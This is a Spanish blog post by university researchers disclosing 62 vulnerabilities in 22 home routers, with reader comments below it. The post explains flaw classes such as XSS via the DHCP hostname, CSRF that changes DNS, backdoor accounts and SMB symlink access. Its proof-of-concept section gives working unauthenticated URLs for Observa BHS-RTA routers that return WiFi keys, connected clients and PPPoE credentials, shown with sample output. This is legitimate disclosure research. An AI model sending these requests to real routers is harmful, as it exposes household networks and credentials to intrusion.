09 junio 2015

Auditando routers domésticos

En primer lugar, presentarnos. Somos el grupo de investigadores de la Universidad Europea de Madrid (Jose Antonio Rodríguez García, Álvaro Folgado Rueda e Iván Sanz de Castro), que recientemente ha revelado 62 vulnerabilidades que afectan a 22 routers diferentes, la mayoría de ellos ampliamente extendidos en España. 

El tutor del proyecto es uno de los editores de este blog: Alejandro Ramos.

Desde el Máster en Seguridad de las TICs impartido en la Universidad Europea de Madrid, nos hemos embarcado en este proyecto, a nuestro juicio muy interesante: auditar uno de los dispositivos de red típicos en todos los hogares, el router.

El objetivo de la investigación que hemos realizado, es evaluar el estado actual de la seguridad en routers domésticos, desarrollar una metodología de auditoría que facilite la tarea a investigadores futuros, y reportar las vulnerabilidades a los fabricantes y entidades competentes, para que los problemas de seguridad encontrados se solucionen en el menor tiempo posible.

En esta breve entrada, vamos a definir los problemas de seguridad encontrados, plantear PoCs de dos de las vulnerabilidades, y exponer los resultados obtenidos.

Deficiencias de seguridad

A continuación, vamos a exponer brevemente las deficiencias de seguridad más comunes que hemos hallado a lo largo del proceso de auditoría. Esto nos permitirá entender el impacto y vector de explotación de cada una de las vulnerabilidades, aplicado a los routers domésticos:
  • Persistent Cross Site ScriptingPermite a un atacante inyectar código malicioso en la interfaz web de configuración del dispositivo. El código malicioso puede tener como objetivo secuestrar la sesión del usuario o infectar el navegador de la víctima, entre otras muchas cosas. El ataque se puede realizar en remoto, mediante el envío de un enlace malicioso a la víctima, o en local, si el usuario no ha cambiado las credenciales por defecto.
  • Unauthenticated Cross Site ScriptingEn este caso, la inyección de código se realiza en local, pero sin necesidad de autenticación, mediante el envío de una trama DHCP Request, en la cual el parámetro hostname contiene el script malicioso a inyectar. Para facilitar el ataque, hemos desarrollado un script en Perl que manda una trama personalizada, pero es posible hacerlo mediante la modificación del fichero /etc/hostname en el equipo atacante conectado a la red.
  • Cross Site Request ForgeryMediante el envío de un enlace específico o si la víctima accede a una página web maliciosa, un atacante puede modificar cualquier parámetro de configuración del router.
    Enlaces maliciosos destinados a modificar el DNS en Observa Telecom AW4062
  • Privilege EscalationUn usuario sin privilegios de administración puede escalar a superusuario y realizar cualquier cambio en la configuración del dispositivo.
  • Information DisclosureUn atacante, sin necesidad de un proceso de autenticación previo, puede obtener información crítica del dispositivo, como por ejemplo: la contraseña de la red inalámbrica, un listado de clientes conectados, y otros parámetros de configuración clave. Para descubrir este tipo de vulnerabilidades, es fundamental tener acceso al sistema de ficheros del router, siendo lo más efectivo montar su firmware.
  • BackdoorExisten usuarios ocultos con privilegios de administrador, de los cuales el usuario final no tiene constancia, y que podrían permitir a un atacante acceder y modificar la configuración del dispositivo con facilidad.
  • Bypass AuthenticationUn atacante puede configurar parámetros críticos del dispositivo, sin necesidad de autenticarse, como por ejemplo: modificar los servidores DNS, devolver el dispositivo a ajustes de fábrica, reiniciar el router en bucle generando una denegación de servicio persistente, e incluso tener acceso a todos los parámetros de configuración. 
  • Bypass Authentication using SMB SymlinksUn atacante sin autenticar puede acceder al sistema de ficheros completo del router a través de un enlace simbólico en el servidor de SMB integrado, obtener las credenciales de todos los usuarios, y realizar cualquier cambio en la configuración.
  • USB Device Bypass AuthenticationEn caso de que exista un dispositivo de almacenamiento USB conectado al router, un atacante sin autenticar puede acceder, añadir, modificar y eliminar, todos los ficheros del mismo.
  • Universal Plug and PlayUn atacante puede aprovechar debilidades inherentes a este protocolo y realizar diversos ataques, tanto local como remotamente, sin necesidad de un proceso de autenticación previo. Por ejemplo, cambiar las reglas del firewall para facilitar la explotación de otras vulnerabilidades en remoto, o realizar una denegación de servicio persistente. La figura inferior muestra la explotación de esta vulnerabilidad de manera remota.
    Esquema de explotación remota de una vulnerabilidad UPnP

Resultados

Tras varios meses de investigación, se descubrieron más de 60 vulnerabilidades, que afectan a 22 modelos diferentes. En la figura inferior se observa el número de dispositivos y vulnerabilidades que afectan a cada fabricante.


Vulnerabilidades por fabricante 

En la siguiente tabla, se puede apreciar un completo listado de los dispositivos analizados, así como de las vulnerabilidades que afectan a los mismos.

Tabla de vulnerabilidades
Cabe resaltar, que si un router no aparece en el listado anterior, no significa que no sea vulnerable, si no que no ha sido auditado.

Proof of Concepts

Durante la investigación, se han desarrollado pruebas de concepto para cada una de las vulnerabilidades encontradas. Seguidamente, se detallan dos de ellas.

Information Disclosure en Observa BHS-RTA

Un atacante sin autenticar, puede obtener información crítica del dispositivo accediendo a determinadas URLs.

Por ejemplo, para obtener información sobre los parámetros de conexión inalámbrica del dispositivo, incluida la clave de la red inalámbrica, solo es necesario acceder a la siguiente URL:
http://<Router IP>/cgi-bin/webproc?getpage=html/gui/APIS/returnWifiJSON.txt&var:page=returnWifiJSON.txt&_=1430086147101
{ "RETURN":{ "success": true }, "WIFI": { "status":"1", "ssidName":"Amelia", "ssidVisibility":"1", "channelMode":"MANUAL", "channel":"4", "SECURITY":{ "cipherAlgorithm": "WPA" , "algVersion": "WPA1" , "passwordWEP":"12345", "passwordWPA":"GUSS1986", "passwordWPA2":"GUSS1986", "passwordAUTO":"GUSS1986" } }, "DHCP": { "status":"1", "poolStart":"192.168.1.33", "poolEnd":"192.168.1.254" }, "LAN": { "ip": "192.168.1.1" , "mask": "255.255.255.0", "ipLeafPath":"InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1.IPInterfaceIPAddress" }, "DNS": { "dns":"80.58.61.250,80.58.61.254" }, "IPV6": { "ipv6": "fe80::e6c1:46ff:fee6:3818", "globalipv6": "", "prefixLen": "64", "interface": "", "mode": "1", "minID": "33", "maxID": "254" }, "PREFIX": [ { "prefix": "/", "name": "PVC:8/36" } , { "prefix": "", "name": "PVC:8/32" } , { "prefix": "", "name": "pppo3g" } ] }


Para obtener información acerca de los clientes conectados, incluyendo sus direcciones MAC e IP, solo es necesario acceder a la siguiente URL:

http://Router IP/cgi-bin/webproc?getpage=html/gui/APIS/returnDevicesJSON.txt&var:page=returnDevicesJSON.txt&_=1430086147101

{ "RETURN":{ "success":true }, "DEVICES":[ { "idDevice": "1", "nameDevice": "192.168.1.33", "idIcon": "DesktopComputer_1", "interfaceType": "Ethernet", "type": "Unknown", "ipAddress": "192.168.1.33", "macAddress": "MAC eliminada por razones de seguridad", "connected": true, "unknown": false, "blacklisted": false } , { "idDevice": "2", "nameDevice": "192.168.1.39", "idIcon": "DesktopComputer_1", "interfaceType": "WiFi", "type": "Unknown", "ipAddress": "192.168.1.39", "macAddress": "MAC eliminada por razones de seguridad", "connected": false, "unknown": false, "blacklisted": false } , { "idDevice": "3", "nameDevice": "192.168.1.35", "idIcon": "DesktopComputer_1", "interfaceType": "802.11", "type": "Unknown", "ipAddress": "192.168.1.35", "macAddress": "MAC eliminada por razones de seguridad", "connected": false, "unknown": false, "blacklisted": false } , { "idDevice": "4", "nameDevice": "192.168.1.36", "idIcon": "DesktopComputer_1", "interfaceType": "802.11", "type": "Unknown", "ipAddress": "192.168.1.36", "macAddress": "MAC eliminada por razones de seguridad", "connected": false, "unknown": false, "blacklisted": false } , { "idDevice": "5", "nameDevice": "192.168.1.37", "idIcon": "DesktopComputer_1", "interfaceType": "WiFi", "type": "Unknown", "ipAddress": "192.168.1.37", "macAddress": "MAC eliminada por razones de seguridad", "connected": false, "unknown": false, "blacklisted": false } , { "idDevice": "6", "nameDevice": "192.168.1.38", "idIcon": "DesktopComputer_1", "interfaceType": "802.11", "type": "Unknown", "ipAddress": "192.168.1.38", "macAddress": "MAC eliminada por razones de seguridad", "connected": false, "unknown": false, "blacklisted": false } , { "idDevice": "7", "nameDevice": "192.168.1.34", "idIcon": "DesktopComputer_1", "interfaceType": "802.11", "type": "Unknown", "ipAddress": "192.168.1.34", "macAddress": "MAC eliminada por razones de seguridad", "connected": false, "unknown": false, "blacklisted": false } , { "idDevice": "8", "nameDevice": "192.168.1.40", "idIcon": "DesktopComputer_1", "interfaceType": "WiFi", "type": "Unknown", "ipAddress": "192.168.1.40", "macAddress": "MAC eliminada por razones de seguridad", "connected": false, "unknown": false, "blacklisted": false } , { "idDevice": "9", "nameDevice": "192.168.1.34", "idIcon": "DesktopComputer_1", "interfaceType": "WiFi", "type": "Unknown", "ipAddress": "192.168.1.34", "macAddress": "MAC eliminada por razones de seguridad", "connected": false, "unknown": false, "blacklisted": false } , { "idDevice": "10", "nameDevice": "192.168.1.33", "idIcon": "DesktopComputer_1", "interfaceType": "802.11", "type": "Unknown", "ipAddress": "192.168.1.33", "macAddress": "MAC eliminada por razones de seguridad", "connected": false, "unknown": false, "blacklisted": false } ] }

Para obtener información sobre los parámetros de conexión a Internet del dispositivo, puede accederse a:

http://Router IP;/cgi-bin/webproc?getpage=html/gui/APIS/returnInternetJSON.txt&var:page=returnInternetJSON.txt&_=1430086980134

{ "RETURN":{ "success":true }, "INTERNET": { "physicalStatus": "down", "rateDown": "6,3Mb", "rateUp": "309Kb", "maxRateDown": 0, "maxRateUp": 0, "wanType": "DSL", "PPP": { "type": "PPPoE", "name": "PVC:8/32", "username": "adslppp@telefonicanetpa", "password": "adslppp", "ip" : "", "gw" : "", "mask" : "", "pppPath": "InternetGatewayDevice.WANDevice.1.WANConnectionDevice.2.WANPPPConnection.1." } } }

Para saber si la contraseña del router es la que viene por defecto o ha sido cambiada, tan solo hay que acceder a:

http://Router IP/cgi-bin/webproc?getpage=html/gui/APIS/returnPasswordJSON.txt&var:page=returnPasswordJSON.txt&_=1430086980134

{ "RETURN":{ "success": true }, "PASSWORD":{ "isDefault": true } }

Bypass Authentication mediante Symlinks de SMB en Observa Telecom VH4032N

Un atacante sin autenticar puede obtener todo el sistema de ficheros del router tras conectarse al servidor SMB del mismo.

En primer lugar, se listan los servicios disponibles en el servidor de Samba hospedado por el router, observándose que el servicio storage está compartido y disponible.

Listado de servicios disponibles en SMB

Posteriormente, se realiza la conexión al servicio storage. Una vez establecida la misma, pueden listarse los ficheros disponibles.

Acceso al servicio storage
Debido a una mala configuración del servidor de SMB, es posible realizar enlaces simbólicos al sistema de ficheros del router, acceder a ellos y descargar su contenido.

Realización del enlace simbólico al directorio /
Se puede navegar libremente por el mismo, teniendo acceso a todos los archivos de configuración del router y las credenciales de los usuarios.

Navegación libre por el sistema de ficheros

Conclusiones

La auditoría realizada a los routers domésticos evidencia graves problemas de seguridad. Estas deficiencias pueden ser fácilmente explotables por ciberdelincuentes o a menor escala, por algún graciosete. Por ello, tanto fabricantes como compañías de comunicaciones han de trabajar conjuntamente para corregir los problemas de seguridad actuales y diseñar dispositivos más seguros.

Además, la mayoría de los routers afectados son muy utilizados en España, puesto que son regalados por los ISPs a sus consumidores. Esto ha llevado a varios medios españoles a hacerse eco de los problemas de seguridad encontrados.

Si queréis obtener más información acerca de las vulnerabilidades, en los reportes a Full Disclosure y PacketStorm, podéis encontrar más información.

Enlaces de interés:

Contribución escrita por los autores:
Jose Antonio Rodríguez García
Álvaro Folgado Rueda 
Iván Sanz de Castro

9 comments :

Miguel A. Hernández dijo...

Trabajazo señores... me ha encantado :)



Enhorabuena!

Amador Aparicio dijo...

Gran artículo y un trabajo excelente. Felicidades a todos!!

Ricardo dijo...

Siempre quise hacer esto, el mayor problema era reunir todos los routers. solo me queda decirles... Buen trabajo!

Pinchando dijo...

Ahora sólo os queda enviarle los resultados a la gente de INCIBE y ver qué tratamiento le dan...

Ricardo dijo...

Esto huele a exploit kit jeje

Pedro Cámara dijo...

Tengo una pequeña duda compañeros. En la tabla de vulnerabilidades lo rojo es lo vulnerable o es solo lo verde y que tiene un Tick.
Poseo un VG8050 y por suerte, en los 3 link/prueba me tiran un error y despues una entrada automatica almicro_httpd con su ventanita de donar a ACME 5$.

nobodycares dijo...

¿Qué metodología habéis utilizado?.

Gracias.

r0ut3rs4hell dijo...

Great! Keep up the good work!

rodrigo ferroni dijo...

Muy buen trabajo!